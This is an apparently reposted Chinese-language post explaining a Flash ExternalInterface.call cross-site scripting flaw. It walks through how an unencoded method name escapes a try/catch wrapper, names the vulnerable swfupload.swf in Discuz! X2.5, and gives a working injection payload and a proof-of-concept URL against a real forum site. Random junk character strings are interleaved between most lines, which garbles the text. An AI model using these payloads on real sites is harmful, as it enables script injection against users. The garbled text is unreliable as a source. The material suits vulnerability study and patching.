上回我们说
+ m5 S. F0 L! I
! W0 G1 v n B2 Z( xflash.external.ExternalInterface.call($methodName, $parameter)
% I6 W! X! ?- {6 v/ r- L在浏览器中执行的是
- t- D- h2 y# q6 M j0 U
9 z9 t: z2 C3 K. itry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 R2 ]+ \! F. i+ R K. S7 J6 V对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
% M* Q! I' X0 W
6 \/ g) M$ e [# bflash.external.ExternalInterface.call("object."+$methodName, $parameter)
/ }' [* S( P% l* D" `$methodName = a())}catch(e){alert(/xss/)}//8 V8 X$ [4 D( Q3 B
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
+ k3 b/ J% j% K" u- n# q1 _! S6 G, M
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
& c/ d: O# @& p4 e7 o) z( ~. M* }- G' x
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! v( P. F8 s3 N+ N" F杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。7 s( u; q+ ~" X) D1 ^2 J9 b
( K- j8 T W: V1 [. E5 b* t1 |- t; O* ?5 W/ o3 _
0 o! ?4 s8 G5 R; E( J8 W; i5 j
漏洞文件:upload\static\image\common\swfupload.swf
; u5 [! B! w+ ~" h2 B: r& H$ y9 e& @2 e% R t% l$ ^" C( j6 h6 d, T/ A
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf+ F) K( e3 L+ K3 g9 k
. b5 C5 A: a4 i: A( }
2 j4 N: `7 n7 s漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//" b5 l$ Z C$ u6 u; B: V) w
2 D# U9 O9 Q; R; K1 j0 m9 ^7 A9 N& b" i& Y. F, g; ~: i& f# q6 A
|